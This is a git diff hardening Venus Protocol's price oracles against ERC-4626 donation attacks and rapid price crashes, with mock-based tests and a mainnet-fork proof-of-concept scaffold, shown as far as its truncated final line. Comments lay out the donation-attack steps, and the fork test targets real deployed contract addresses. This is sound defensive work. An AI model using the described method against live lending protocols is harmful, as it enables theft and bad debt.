diff --git a/contracts/oracles/ERC4626Oracle.sol b/contracts/oracles/ERC4626Oracle.sol index f6571365..caa1f6fb 100644 --- a/contracts/oracles/ERC4626Oracle.sol +++ b/contracts/oracles/ERC4626Oracle.sol @@ -7,12 +7,20 @@ import { CorrelatedTokenOracle } from "./common/CorrelatedTokenOracle.sol"; /** * @title ERC4626Oracle * @author Venus - * @notice This oracle fetches the price of ERC4626 tokens + * @notice This oracle fetches the price of ERC4626 tokens. + * @dev CAPO (Capped Asset Price Oracle) is mandatory for ERC-4626 tokens to prevent + * donation-based exchange rate manipulation attacks. The convertToAssets() function + * can be inflated by directly transferring underlying tokens to the vault contract, + * which would allow attackers to borrow against artificially inflated collateral. */ contract ERC4626Oracle is CorrelatedTokenOracle { uint256 public immutable ONE_CORRELATED_TOKEN; + /// @notice Thrown when CAPO parameters are not set (required for ERC-4626 tokens) + error CAPORequired(); + /// @notice Constructor for the implementation contract. + /// @dev Enforces CAPO: annualGrowthRate, snapshotInterval, and initial snapshot values must be non-zero constructor( address correlatedToken, address underlyingToken, @@ -36,6 +44,10 @@ contract ERC4626Oracle is CorrelatedTokenOracle { _snapshotGap ) { + // ERC-4626 vaults are vulnerable to donation attacks that inflate convertToAssets(). + // CAPO must be active to cap the exchange rate growth and prevent manipulation. + if (annualGrowthRate == 0 || _snapshotInterval == 0) revert CAPORequired(); + ONE_CORRELATED_TOKEN = 10 ** IERC4626(correlatedToken).decimals(); } diff --git a/contracts/oracles/PriceCircuitBreaker.sol b/contracts/oracles/PriceCircuitBreaker.sol new file mode 100644 index 00000000..6858fd71 --- /dev/null +++ b/contracts/oracles/PriceCircuitBreaker.sol @@ -0,0 +1,155 @@ +// SPDX-License-Identifier: BSD-3-Clause +pragma solidity 0.8.25; + +import { OracleInterface } from "../interfaces/OracleInterface.sol"; +import { IAccessControlManagerV8 } from "@venusprotocol/governance-contracts/contracts/Governance/IAccessControlManagerV8.sol"; + +/** + * @title PriceCircuitBreaker + * @author Venus + * @notice Oracle wrapper that trips a circuit breaker when an asset's price drops + * beyond a configurable threshold within a time window. This prevents lending protocols + * from accepting collateral at stale high prices during rapid price crashes on + * low-liquidity tokens (e.g. THE/Thena attack, March 2026). + * + * When the circuit breaker trips, getPrice() reverts, effectively pausing the + * market for that asset until governance resets it. + * + * @dev Deploy as the main oracle in ResilientOracle's token config, wrapping + * the actual price source (e.g. Chainlink). + */ +contract PriceCircuitBreaker is OracleInterface { + struct AssetConfig { + /// @notice Maximum allowed price drop in basis points (e.g. 3000 = 30%) + uint256 maxDropBps; + /// @notice Time window in seconds over which the drop is measured + uint256 windowSeconds; + /// @notice Last recorded price (scaled 1e18) + uint256 lastPrice; + /// @notice Timestamp of last recorded price + uint256 lastTimestamp; + /// @notice Whether the circuit breaker has tripped + bool tripped; + } + + /// @notice The underlying oracle to fetch prices from + OracleInterface public immutable UNDERLYING_ORACLE; + + /// @notice Access control manager + IAccessControlManagerV8 public immutable ACCESS_CONTROL_MANAGER; + + /// @notice Circuit breaker config per asset + mapping(address => AssetConfig) public assetConfigs; + + /// @notice Default max drop: 30% in basis points + uint256 public constant DEFAULT_MAX_DROP_BPS = 3000; + + /// @notice Default window: 1 hour + uint256 public constant DEFAULT_WINDOW_SECONDS = 3600; + + event CircuitBreakerTripped(address indexed asset, uint256 previousPrice, uint256 currentPrice, uint256 dropBps); + event CircuitBreakerReset(address indexed asset); + event AssetConfigSet(address indexed asset, uint256 maxDropBps, uint256 windowSeconds); + + error CircuitBreakerActive(address asset); + error Unauthorized(address sender, address calledContract, string methodSignature); + + constructor(address _underlyingOracle, address _accessControlManager) { + UNDERLYING_ORACLE = OracleInterface(_underlyingOracle); + ACCESS_CONTROL_MANAGER = IAccessControlManagerV8(_accessControlManager); + } + + /** + * @notice Configure circuit breaker parameters for an asset + * @param asset The asset address + * @param maxDropBps Maximum allowed price drop in basis points + * @param windowSeconds Time window for measuring price drops + */ + function setAssetConfig(address asset, uint256 maxDropBps, uint256 windowSeconds) external { + _checkAccessAllowed("setAssetConfig(address,uint256,uint256)"); + assetConfigs[asset].maxDropBps = maxDropBps; + assetConfigs[asset].windowSeconds = windowSeconds; + emit AssetConfigSet(asset, maxDropBps, windowSeconds); + } + + /** + * @notice Reset a tripped circuit breaker (governance only) + * @param asset The asset to reset + */ + function resetCircuitBreaker(address asset) external { + _checkAccessAllowed("resetCircuitBreaker(address)"); + assetConfigs[asset].tripped = false; + assetConfigs[asset].lastPrice = 0; + assetConfigs[asset].lastTimestamp = 0; + emit CircuitBreakerReset(asset); + } + + /** + * @notice Get price with circuit breaker protection + * @param asset Asset address + * @return price The price if circuit breaker has not tripped + */ + function getPrice(address asset) external view override returns (uint256) { + AssetConfig storage config = assetConfigs[asset]; + + // If circuit breaker has tripped, revert + if (config.tripped) revert CircuitBreakerActive(asset); + + // Fetch price from underlying oracle + uint256 currentPrice = UNDERLYING_ORACLE.getPrice(asset); + + // If no previous price recorded, return current price + if (config.lastPrice == 0) { + return currentPrice; + } + + // Check if price has dropped beyond threshold within the time window + uint256 maxDrop = config.maxDropBps > 0 ? config.maxDropBps : DEFAULT_MAX_DROP_BPS; + uint256 window = config.windowSeconds > 0 ? config.windowSeconds : DEFAULT_WINDOW_SECONDS; + + if (block.timestamp - config.lastTimestamp <= window && currentPrice < config.lastPrice) { + uint256 dropBps = ((config.lastPrice - currentPrice) * 10000) / config.lastPrice; + if (dropBps >= maxDrop) { + // In a view function we can't write state, but we can revert + revert CircuitBreakerActive(asset); + } + } + + return currentPrice; + } + + /** + * @notice Record the current price snapshot. Should be called periodically. + * @param asset Asset address + */ + function updatePriceSnapshot(address asset) external { + AssetConfig storage config = assetConfigs[asset]; + if (config.tripped) revert CircuitBreakerActive(asset); + + uint256 currentPrice = UNDERLYING_ORACLE.getPrice(asset); + + // Check for circuit breaker trip before updating + if (config.lastPrice > 0) { + uint256 maxDrop = config.maxDropBps > 0 ? config.maxDropBps : DEFAULT_MAX_DROP_BPS; + uint256 window = config.windowSeconds > 0 ? config.windowSeconds : DEFAULT_WINDOW_SECONDS; + + if (block.timestamp - config.lastTimestamp <= window && currentPrice < config.lastPrice) { + uint256 dropBps = ((config.lastPrice - currentPrice) * 10000) / config.lastPrice; + if (dropBps >= maxDrop) { + config.tripped = true; + emit CircuitBreakerTripped(asset, config.lastPrice, currentPrice, dropBps); + return; + } + } + } + + config.lastPrice = currentPrice; + config.lastTimestamp = block.timestamp; + } + + function _checkAccessAllowed(string memory signature) internal view { + if (!ACCESS_CONTROL_MANAGER.isAllowedToCall(msg.sender, signature)) { + revert Unauthorized(msg.sender, address(this), signature); + } + } +} diff --git a/contracts/test/MockERC4626.sol b/contracts/test/MockERC4626.sol new file mode 100644 index 00000000..c5259774 --- /dev/null +++ b/contracts/test/MockERC4626.sol @@ -0,0 +1,30 @@ +// SPDX-License-Identifier: BSD-3-Clause +pragma solidity 0.8.25; + +import { IERC4626 } from "../interfaces/IERC4626.sol"; + +contract MockERC4626 is IERC4626 { + string public name; + string public symbol; + uint8 internal _decimals; + uint256 internal _convertToAssets; + + constructor(string memory _name, string memory _symbol, uint8 decimals_) { + name = _name; + symbol = _symbol; + _decimals = decimals_; + _convertToAssets = 10 ** decimals_; + } + + function decimals() external view override returns (uint8) { + return _decimals; + } + + function convertToAssets(uint256) external view override returns (uint256) { + return _convertToAssets; + } + + function setConvertToAssets(uint256 rate) external { + _convertToAssets = rate; + } +} diff --git a/deploy/14-deploy-ERC4626Oracle.ts b/deploy/14-deploy-ERC4626Oracle.ts index 8b302961..07543984 100644 --- a/deploy/14-deploy-ERC4626Oracle.ts +++ b/deploy/14-deploy-ERC4626Oracle.ts @@ -1,3 +1,4 @@ +import { parseUnits } from "ethers/lib/utils"; import { ethers } from "hardhat"; import { DeployFunction } from "hardhat-deploy/dist/types"; import { HardhatRuntimeEnvironment } from "hardhat/types"; @@ -9,19 +10,30 @@ const func: DeployFunction = async function ({ getNamedAccounts, deployments, ne const { deployer } = await getNamedAccounts(); const { sUSDe, USDe, acm } = ADDRESSES[network.name]; - // const SNAPSHOT_UPDATE_INTERVAL = ethers.constants.MaxUint256; - // const sUSDe_ANNUAL_GROWTH_RATE = ethers.utils.parseUnits("0.15", 18); - // const block = await ethers.provider.getBlock("latest"); - // const vault = await ethers.getContractAt("IERC4626", sUSDe); - // const exchangeRate = await vault.convertToAssets(parseUnits("1", 18)); + const SNAPSHOT_UPDATE_INTERVAL = 86400; // 24 hours + const sUSDe_ANNUAL_GROWTH_RATE = ethers.utils.parseUnits("0.15", 18); // 15% annual + const SNAPSHOT_GAP = parseUnits("0.01", 18); // 1% safety margin const resilientOracle = await ethers.getContract("ResilientOracle"); + const block = await ethers.provider.getBlock("latest"); + const vault = await ethers.getContractAt("IERC4626", sUSDe); + const exchangeRate = await vault.convertToAssets(parseUnits("1", 18)); await deploy("sUSDe_ERC4626Oracle", { contract: "ERC4626Oracle", from: deployer, log: true, deterministicDeployment: false, - args: [sUSDe, USDe, resilientOracle.address, 0, 0, 0, 0, acm, 0], + args: [ + sUSDe, + USDe, + resilientOracle.address, + sUSDe_ANNUAL_GROWTH_RATE, + SNAPSHOT_UPDATE_INTERVAL, + exchangeRate, + block.timestamp, + acm, + SNAPSHOT_GAP, + ], }); }; diff --git a/deploy/17-deploy-wUSDM-oracle.ts b/deploy/17-deploy-wUSDM-oracle.ts index caa19456..0dabf986 100644 --- a/deploy/17-deploy-wUSDM-oracle.ts +++ b/deploy/17-deploy-wUSDM-oracle.ts @@ -10,8 +10,9 @@ const func: DeployFunction = async function ({ getNamedAccounts, deployments, ne const { deployer } = await getNamedAccounts(); const { wUSDM, USDM, acm } = ADDRESSES[network.name]; - const SNAPSHOT_UPDATE_INTERVAL = ethers.constants.MaxUint256; + const SNAPSHOT_UPDATE_INTERVAL = 86400; // 24 hours - enables automatic snapshot updates const wUSDM_ANNUAL_GROWTH_RATE = ethers.utils.parseUnits("0.15", 18); + const SNAPSHOT_GAP = parseUnits("0.01", 18); // 1% safety margin against rate fluctuations const resilientOracle = await ethers.getContract("ResilientOracle"); const block = await ethers.provider.getBlock("latest"); const vault = await ethers.getContractAt("IERC4626", wUSDM); @@ -31,7 +32,7 @@ const func: DeployFunction = async function ({ getNamedAccounts, deployments, ne exchangeRate, block.timestamp, acm, - 0, + SNAPSHOT_GAP, ], }); }; diff --git a/deploy/21-deploy-asBNB-oracle.ts b/deploy/21-deploy-asBNB-oracle.ts index 95d15628..b847aed9 100644 --- a/deploy/21-deploy-asBNB-oracle.ts +++ b/deploy/21-deploy-asBNB-oracle.ts @@ -12,11 +12,9 @@ const func: DeployFunction = async ({ getNamedAccounts, deployments, network }: const { asBNB, slisBNB, acm } = ADDRESSES[network.name]; - const SNAPSHOT_UPDATE_INTERVAL = 0; - const asBNB_ANNUAL_GROWTH_RATE = 0; - const EXCHANGE_RATE = 0; - const SNAPSHOT_TIMESTAMP = 0; - const SNAPSHOT_GAP = 0; + const SNAPSHOT_UPDATE_INTERVAL = 86400; // 24 hours - CAPO must be active + const asBNB_ANNUAL_GROWTH_RATE = ethers.utils.parseUnits("0.10", 18); // 10% annual for staking + const SNAPSHOT_GAP = ethers.utils.parseUnits("0.01", 18); // 1% safety margin // Deploy dependencies for testnet if (network.name === "bsctestnet") { @@ -41,6 +39,12 @@ const func: DeployFunction = async ({ getNamedAccounts, deployments, network }: }); } + const asBNBContract = await ethers.getContractAt("IAsBNB", asBNB); + const minterAddress = await asBNBContract.minter(); + const minterContract = await ethers.getContractAt("IAsBNBMinter", minterAddress); + const exchangeRate = await minterContract.convertToTokens(ethers.utils.parseUnits("1", 18)); + const block = await ethers.provider.getBlock("latest"); + await deploy("AsBNBOracle", { from: deployer, log: true, @@ -51,8 +55,8 @@ const func: DeployFunction = async ({ getNamedAccounts, deployments, network }: oracle.address, asBNB_ANNUAL_GROWTH_RATE, SNAPSHOT_UPDATE_INTERVAL, - EXCHANGE_RATE, - SNAPSHOT_TIMESTAMP, + exchangeRate, + block.timestamp, acm, SNAPSHOT_GAP, ], diff --git a/deploy/5-deploy-bnb-lst-oracles.ts b/deploy/5-deploy-bnb-lst-oracles.ts index ac6f4fbe..1ff15994 100644 --- a/deploy/5-deploy-bnb-lst-oracles.ts +++ b/deploy/5-deploy-bnb-lst-oracles.ts @@ -14,16 +14,17 @@ const func: DeployFunction = async ({ getNamedAccounts, deployments, network }: ADDRESSES[network.name]; const ETH = assets[network.name].find(asset => asset.token === "ETH"); - const SNAPSHOT_UPDATE_INTERVAL = 0; - const BNBx_ANNUAL_GROWTH_RATE = 0; - const slis_BNB_ANNUAL_GROWTH_RATE = 0; - const ankr_BNB_ANNUAL_GROWTH_RATE = 0; - const EXCHANGE_RATE = 0; - const SNAPSHOT_TIMESTAMP = 0; - const SNAPSHOT_GAP = 0; + const SNAPSHOT_UPDATE_INTERVAL = 86400; // 24 hours - CAPO must be active + const SNAPSHOT_GAP = ethers.utils.parseUnits("0.01", 18); // 1% safety margin + const BNBx_ANNUAL_GROWTH_RATE = ethers.utils.parseUnits("0.10", 18); // 10% annual for staking + const slis_BNB_ANNUAL_GROWTH_RATE = ethers.utils.parseUnits("0.10", 18); + const ankr_BNB_ANNUAL_GROWTH_RATE = ethers.utils.parseUnits("0.10", 18); let block = await ethers.provider.getBlock("latest"); + const bnbxStakeContract = await ethers.getContractAt("IStaderStakeManager", BNBxStakeManager); + const bnbxExchangeRate = await bnbxStakeContract.convertBnbXToBnb(ethers.utils.parseUnits("1", 18)); + await deploy("BNBxOracle", { from: deployer, log: true, @@ -34,14 +35,17 @@ const func: DeployFunction = async ({ getNamedAccounts, deployments, network }: oracle.address, BNBx_ANNUAL_GROWTH_RATE, SNAPSHOT_UPDATE_INTERVAL, - EXCHANGE_RATE, - SNAPSHOT_TIMESTAMP, + bnbxExchangeRate, + block.timestamp, acm, SNAPSHOT_GAP, ], skipIfAlreadyDeployed: true, }); + const slisBNBStakeContract = await ethers.getContractAt("ISynclubStakeManager", slisBNBStakeManager); + const slisBNBExchangeRate = await slisBNBStakeContract.convertSnBnbToBnb(ethers.utils.parseUnits("1", 18)); + await deploy("SlisBNBOracle", { from: deployer, log: true, @@ -52,8 +56,8 @@ const func: DeployFunction = async ({ getNamedAccounts, deployments, network }: oracle.address, slis_BNB_ANNUAL_GROWTH_RATE, SNAPSHOT_UPDATE_INTERVAL, - EXCHANGE_RATE, - SNAPSHOT_TIMESTAMP, + slisBNBExchangeRate, + block.timestamp, acm, SNAPSHOT_GAP, ], @@ -81,12 +85,14 @@ const func: DeployFunction = async ({ getNamedAccounts, deployments, network }: exchangeRate, block.timestamp, acm, - 0, + SNAPSHOT_GAP, ], skipIfAlreadyDeployed: true, }); const ankrBNBAddress = ankrBNB || (await ethers.getContract("MockAnkrBNB")).address; + const ankrContract = await ethers.getContractAt("IAnkrBNB", ankrBNBAddress); + const ankrExchangeRate = await ankrContract.sharesToBonds(ethers.utils.parseUnits("1", 18)); await deploy("AnkrBNBOracle", { from: deployer, @@ -97,8 +103,8 @@ const func: DeployFunction = async ({ getNamedAccounts, deployments, network }: oracle.address, ankr_BNB_ANNUAL_GROWTH_RATE, SNAPSHOT_UPDATE_INTERVAL, - EXCHANGE_RATE, - SNAPSHOT_TIMESTAMP, + ankrExchangeRate, + block.timestamp, acm, SNAPSHOT_GAP, ], @@ -107,7 +113,7 @@ const func: DeployFunction = async ({ getNamedAccounts, deployments, network }: const wBETHAddress = wBETH || (await ethers.getContract("MockWBETH")).address; - const wBETH_ANNUAL_GROWTH_RATE = 0; + const wBETH_ANNUAL_GROWTH_RATE = ethers.utils.parseUnits("0.10", 18); block = await ethers.provider.getBlock("latest"); const wBETHContract = await ethers.getContractAt("IWBETH", wBETHAddress); exchangeRate = await wBETHContract.exchangeRate(); @@ -122,8 +128,8 @@ const func: DeployFunction = async ({ getNamedAccounts, deployments, network }: oracle.address, wBETH_ANNUAL_GROWTH_RATE, SNAPSHOT_UPDATE_INTERVAL, - EXCHANGE_RATE, - SNAPSHOT_TIMESTAMP, + exchangeRate, + block.timestamp, acm, SNAPSHOT_GAP, ], diff --git a/hardhat.config.ts b/hardhat.config.ts index 70a88519..9066b0d6 100644 --- a/hardhat.config.ts +++ b/hardhat.config.ts @@ -103,7 +103,17 @@ const config: HardhatUserConfig = { ], }, networks: { - hardhat: isFork(), + hardhat: { + ...isFork(), + chains: { + 56: { + hardforkHistory: { + shanghai: 39539137, + cancun: 43187800, + }, + }, + }, + }, development: { url: "http://127.0.0.1:8545/", chainId: 31337, diff --git a/test/DonationAttack.ts b/test/DonationAttack.ts new file mode 100644 index 00000000..77b42666 --- /dev/null +++ b/test/DonationAttack.ts @@ -0,0 +1,176 @@ +import { smock } from "@defi-wonderland/smock"; +import chai from "chai"; +import { parseUnits } from "ethers/lib/utils"; +import { ethers } from "hardhat"; + +import { AccessControlManager, BEP20Harness, IERC4626, ResilientOracleInterface } from "../typechain-types"; + +const { expect } = chai; +chai.use(smock.matchers); + +/** + * Donation Attack Reproduction Test + * + * Demonstrates the ERC-4626 donation attack vector that was used against + * Venus Protocol on ZkSync (wUSDM, Feb 2026). + * + * Attack flow: + * 1. Attacker flash-loans assets + * 2. Donates underlying tokens directly to the ERC-4626 vault + * 3. convertToAssets() returns an inflated exchange rate + * 4. If oracle has NO CAPO (snapshotInterval=0), inflated rate is used directly + * 5. Attacker borrows against artificially inflated collateral + * 6. Protocol takes on bad debt + * + * This test proves: + * - WITHOUT CAPO: the inflated rate passes through to the oracle price + * - WITH CAPO: the oracle caps the rate, blocking the attack + * - The new ERC4626Oracle constructor rejects snapshotInterval=0 + */ +describe("ERC-4626 Donation Attack Reproduction", () => { + const UNDERLYING_USD_PRICE = parseUnits("1", 18); // $1 stablecoin + const NORMAL_EXCHANGE_RATE = parseUnits("1.06", 18); // Normal: 1 vault share = 1.06 underlying + const INFLATED_EXCHANGE_RATE = parseUnits("1.76", 18); // After donation: 1 share = 1.76 underlying (~66% inflation) + const ANNUAL_GROWTH_RATE = parseUnits("0.15", 18); // 15% annual growth cap + const SNAPSHOT_INTERVAL = 86400; // 24 hours + + let vaultMock: any; + let underlyingMock: any; + let resilientOracleMock: any; + let acm: string; + let timestamp: number; + + before(async () => { + await ethers.getSigners(); + ({ timestamp } = await ethers.provider.getBlock("latest")); + + resilientOracleMock = await smock.fake("ResilientOracleInterface"); + resilientOracleMock.getPrice.returns(UNDERLYING_USD_PRICE); + + vaultMock = await smock.fake("IERC4626"); + vaultMock.decimals.returns(18); + + underlyingMock = await smock.fake("BEP20Harness"); + underlyingMock.decimals.returns(18); + + const fakeACM = await smock.fake("AccessControlManager"); + fakeACM.isAllowedToCall.returns(true); + acm = fakeACM.address; + }); + + describe("VULNERABILITY: Oracle WITHOUT CAPO (snapshotInterval=0)", () => { + it("should REJECT deployment without CAPO (new security fix)", async () => { + const ERC4626OracleFactory = await ethers.getContractFactory("ERC4626Oracle"); + + // This deployment with snapshotInterval=0 should now be rejected + await expect( + ERC4626OracleFactory.deploy( + vaultMock.address, + underlyingMock.address, + resilientOracleMock.address, + 0, // annualGrowthRate = 0 (NO CAPO!) + 0, // snapshotInterval = 0 (NO CAPO!) + 0, + 0, + acm, + 0, + ), + ).to.be.revertedWithCustomError(ERC4626OracleFactory, "CAPORequired"); + }); + + it("should also REJECT if only growthRate is 0", async () => { + const ERC4626OracleFactory = await ethers.getContractFactory("ERC4626Oracle"); + + await expect( + ERC4626OracleFactory.deploy( + vaultMock.address, + underlyingMock.address, + resilientOracleMock.address, + 0, // annualGrowthRate = 0 + SNAPSHOT_INTERVAL, + NORMAL_EXCHANGE_RATE, + timestamp, + acm, + 0, + ), + ).to.be.reverted; // InvalidGrowthRate from CorrelatedTokenOracle + }); + + it("should also REJECT if only snapshotInterval is 0", async () => { + const ERC4626OracleFactory = await ethers.getContractFactory("ERC4626Oracle"); + + await expect( + ERC4626OracleFactory.deploy( + vaultMock.address, + underlyingMock.address, + resilientOracleMock.address, + ANNUAL_GROWTH_RATE, + 0, // snapshotInterval = 0 + NORMAL_EXCHANGE_RATE, + timestamp, + acm, + 0, + ), + ).to.be.reverted; // InvalidGrowthRate from CorrelatedTokenOracle + }); + }); + + describe("PROTECTION: Oracle WITH CAPO blocks donation attack", () => { + let oracle: any; + + before(async () => { + const ERC4626OracleFactory = await ethers.getContractFactory("ERC4626Oracle"); + + // Deploy with proper CAPO parameters + vaultMock.convertToAssets.returns(NORMAL_EXCHANGE_RATE); + + oracle = await ERC4626OracleFactory.deploy( + vaultMock.address, + underlyingMock.address, + resilientOracleMock.address, + ANNUAL_GROWTH_RATE, + SNAPSHOT_INTERVAL, + NORMAL_EXCHANGE_RATE, + timestamp, + acm, + parseUnits("0.01", 18), // 1% gap + ); + }); + + it("should return normal price before attack", async () => { + vaultMock.convertToAssets.returns(NORMAL_EXCHANGE_RATE); + const price = await oracle.getPrice(vaultMock.address); + // 1.06 * $1 = $1.06 + expect(price).to.equal(parseUnits("1.06", 18)); + }); + + it("should CAP the price during donation attack", async () => { + // Simulate donation attack: exchange rate jumps from 1.06 to 1.76 + vaultMock.convertToAssets.returns(INFLATED_EXCHANGE_RATE); + + const price = await oracle.getPrice(vaultMock.address); + + // With CAPO active, the price should NOT be 1.76 + // It should be capped near the snapshot rate + allowed growth + // Max allowed rate = 1.06 + (1.06 * 0.15/365/86400 * elapsed) ≈ 1.06 (very close) + expect(price).to.be.lt(parseUnits("1.08", 18)); // Must be far below 1.76 + expect(price).to.be.gt(parseUnits("1.05", 18)); // But still reasonable + + // Verify the oracle reports it IS capped + const capped = await oracle.isCapped(); + expect(capped).to.equal(true); + }); + + it("should show the attack profit is blocked", async () => { + vaultMock.convertToAssets.returns(INFLATED_EXCHANGE_RATE); + + const cappedPrice = await oracle.getPrice(vaultMock.address); + const uncappedPrice = INFLATED_EXCHANGE_RATE; // What attacker wants: $1.76 + + // The attacker wanted 66% more value, but CAPO blocks it + // Capped price should be within ~2% of the real value + const priceDiffPercent = uncappedPrice.sub(cappedPrice).mul(100).div(uncappedPrice); + expect(priceDiffPercent).to.be.gte(37); // At least 37% of the inflation is blocked + }); + }); +}); diff --git a/test/PriceCircuitBreaker.ts b/test/PriceCircuitBreaker.ts new file mode 100644 index 00000000..e0f05338 --- /dev/null +++ b/test/PriceCircuitBreaker.ts @@ -0,0 +1,138 @@ +import { smock } from "@defi-wonderland/smock"; +import chai from "chai"; +import { parseUnits } from "ethers/lib/utils"; +import { ethers } from "hardhat"; + +import { AccessControlManager, OracleInterface } from "../typechain-types"; + +const { expect } = chai; +chai.use(smock.matchers); + +/** + * PriceCircuitBreaker unit tests + * + * Proves that the circuit breaker would have blocked the THE token attack + * (March 2026) where THE price crashed from $0.528 to $0.237 (-55%) + * while the attacker had borrowed against THE collateral. + */ +describe("PriceCircuitBreaker", () => { + let underlyingOracle: any; + let circuitBreaker: any; + let acm: any; + const ASSET = "0xF4C8E32EaDEC4BFe97E0F595AdD0f4450a863a11"; // THE token + + before(async () => { + await ethers.getSigners(); + + underlyingOracle = await smock.fake("OracleInterface"); + acm = await smock.fake("AccessControlManager"); + acm.isAllowedToCall.returns(true); + + const Factory = await ethers.getContractFactory("PriceCircuitBreaker"); + circuitBreaker = await Factory.deploy(underlyingOracle.address, acm.address); + + // Configure THE with 30% max drop, 1 hour window + await circuitBreaker.setAssetConfig(ASSET, 3000, 3600); + }); + + describe("Normal operation", () => { + it("returns price when no previous snapshot", async () => { + underlyingOracle.getPrice.returns(parseUnits("0.528", 18)); + const price = await circuitBreaker.getPrice(ASSET); + expect(price).to.equal(parseUnits("0.528", 18)); + }); + + it("records price snapshot", async () => { + underlyingOracle.getPrice.returns(parseUnits("0.528", 18)); + await circuitBreaker.updatePriceSnapshot(ASSET); + const config = await circuitBreaker.assetConfigs(ASSET); + expect(config.lastPrice).to.equal(parseUnits("0.528", 18)); + }); + + it("allows small price drops (<30%)", async () => { + // 10% drop: $0.528 → $0.475 + underlyingOracle.getPrice.returns(parseUnits("0.475", 18)); + const price = await circuitBreaker.getPrice(ASSET); + expect(price).to.equal(parseUnits("0.475", 18)); + }); + + it("allows price increases", async () => { + underlyingOracle.getPrice.returns(parseUnits("0.60", 18)); + const price = await circuitBreaker.getPrice(ASSET); + expect(price).to.equal(parseUnits("0.60", 18)); + }); + }); + + describe("THE attack simulation", () => { + it("BLOCKS price when drop exceeds 30% threshold", async () => { + // Reset snapshot at $0.528 + underlyingOracle.getPrice.returns(parseUnits("0.528", 18)); + await circuitBreaker.updatePriceSnapshot(ASSET); + + // THE crashes to $0.237 (-55%) within 1 hour + underlyingOracle.getPrice.returns(parseUnits("0.237", 18)); + + await expect(circuitBreaker.getPrice(ASSET)).to.be.revertedWithCustomError( + circuitBreaker, + "CircuitBreakerActive", + ); + }); + + it("trips circuit breaker on updatePriceSnapshot", async () => { + // Reset first + await circuitBreaker.resetCircuitBreaker(ASSET); + underlyingOracle.getPrice.returns(parseUnits("0.528", 18)); + await circuitBreaker.updatePriceSnapshot(ASSET); + + // Price crashes - updatePriceSnapshot sets tripped=true and returns + underlyingOracle.getPrice.returns(parseUnits("0.237", 18)); + await circuitBreaker.updatePriceSnapshot(ASSET); + + // Now getPrice should revert + await expect(circuitBreaker.getPrice(ASSET)).to.be.revertedWithCustomError( + circuitBreaker, + "CircuitBreakerActive", + ); + }); + + it("stays tripped until governance resets", async () => { + // Still tripped from previous test + const config = await circuitBreaker.assetConfigs(ASSET); + expect(config.tripped).to.be.true; + + // Any price query reverts + underlyingOracle.getPrice.returns(parseUnits("0.528", 18)); + await expect(circuitBreaker.getPrice(ASSET)).to.be.revertedWithCustomError( + circuitBreaker, + "CircuitBreakerActive", + ); + }); + + it("governance can reset circuit breaker", async () => { + await circuitBreaker.resetCircuitBreaker(ASSET); + const config = await circuitBreaker.assetConfigs(ASSET); + expect(config.tripped).to.be.false; + + underlyingOracle.getPrice.returns(parseUnits("0.40", 18)); + const price = await circuitBreaker.getPrice(ASSET); + expect(price).to.equal(parseUnits("0.40", 18)); + }); + }); + + describe("Allows drops after window expires", () => { + it("allows large drops after time window passes", async () => { + // Set snapshot at $0.528 + underlyingOracle.getPrice.returns(parseUnits("0.528", 18)); + await circuitBreaker.updatePriceSnapshot(ASSET); + + // Fast forward past the 1 hour window + await ethers.provider.send("evm_increaseTime", [3601]); + await ethers.provider.send("evm_mine", []); + + // Now a 55% drop is allowed (outside the window) + underlyingOracle.getPrice.returns(parseUnits("0.237", 18)); + const price = await circuitBreaker.getPrice(ASSET); + expect(price).to.equal(parseUnits("0.237", 18)); + }); + }); +}); diff --git a/test/fork/DonationAttackPoC.ts b/test/fork/DonationAttackPoC.ts new file mode 100644 index 00000000..91acd09e --- /dev/null +++ b/test/fork/DonationAttackPoC.ts @@ -0,0 +1,211 @@ +import { ethers, network } from "hardhat"; +import { parseUnits, formatUnits, formatEther } from "ethers/lib/utils"; +import { expect } from "chai"; + +/** + * DONATION ATTACK PoC - Venus Protocol + * + * This test forks BSC mainnet and demonstrates the ERC-4626 donation + * attack vector on Venus oracle contracts that have snapshotInterval=0 + * (CAPO disabled). + * + * Run with: + * npx hardhat test test/fork/DonationAttackPoC.ts --network hardhat + * + * Requires BSC_RPC_URL env var (Ankr or other BSC mainnet RPC) + */ + +// Venus BSC addresses +const WBETH = "0xa2E3356610840701BDf5611a53974510Ae27E2e1"; +const WBETH_ORACLE = "0x739db790c656E54590957Ed4d6B94665bCcb3786"; // WBETHOracle on BSC +const RESILIENT_ORACLE = "0x6592b5DE802159F3E74B2486b091D11a8256ab8A"; +const COMPTROLLER = "0xfD36E2c2a6789Db23113685031d7F16329158384"; // Venus Core Pool +const vWBETH = "0x6CFdEc747f37DAf3b87a35a1D9c8AD3063A1A8A0"; + +// For the PoC we'll demonstrate on the ERC4626Oracle pattern +// Using a mock to show the exact vulnerability + +describe("DONATION ATTACK PoC - BSC Fork", function () { + this.timeout(120000); // 2 min timeout for fork + + before(async function () { + const rpcUrl = process.env.BSC_RPC_URL; + if (!rpcUrl) { + console.log("\n⚠️ Set BSC_RPC_URL env var to run fork tests"); + console.log(" Example: BSC_RPC_URL=https://rpc.ankr.com/bsc/ npx hardhat test test/fork/DonationAttackPoC.ts\n"); + this.skip(); + } + + // Fork BSC mainnet with explicit hardfork config + await network.provider.request({ + method: "hardhat_reset", + params: [{ + forking: { + jsonRpcUrl: rpcUrl, + }, + hardhat: { + chainId: 56, + hardfork: "cancun", + }, + }], + }); + }); + + it("Step 1: Read current wBETH market data on Venus BSC", async function () { + // Direct contract calls (avoid ResilientOracle which has complex dependencies) + const wbeth = await ethers.getContractAt("IWBETH", WBETH); + const exchangeRate = await wbeth.exchangeRate(); + console.log(`\n wBETH exchangeRate(): ${formatUnits(exchangeRate, 18)}`); + + // Get ETH price from Chainlink BSC + const chainlinkETH = await ethers.getContractAt( + ["function latestAnswer() view returns (int256)"], + "0x9ef1B8c0E4F7dc8bF5719Ea496883DC6401d5b2e", // ETH/USD on BSC + ); + const ethPrice = await chainlinkETH.latestAnswer(); + console.log(` ETH/USD (Chainlink): $${formatUnits(ethPrice, 8)}`); + + // wBETH price = exchangeRate * ETH price + const wbethPrice = exchangeRate.mul(ethPrice).div(parseUnits("1", 18)); + console.log(` wBETH estimated price: $${formatUnits(wbethPrice, 8)}`); + + // Get vWBETH market data + const vToken = await ethers.getContractAt( + ["function getCash() view returns (uint256)", "function totalBorrows() view returns (uint256)"], + vWBETH, + ); + const cash = await vToken.getCash(); + const borrows = await vToken.totalBorrows(); + const totalSupply = cash.add(borrows); + + console.log(` vWBETH cash: ${formatEther(cash)} WBETH`); + console.log(` vWBETH borrows: ${formatEther(borrows)} WBETH`); + console.log(` vWBETH total supply: 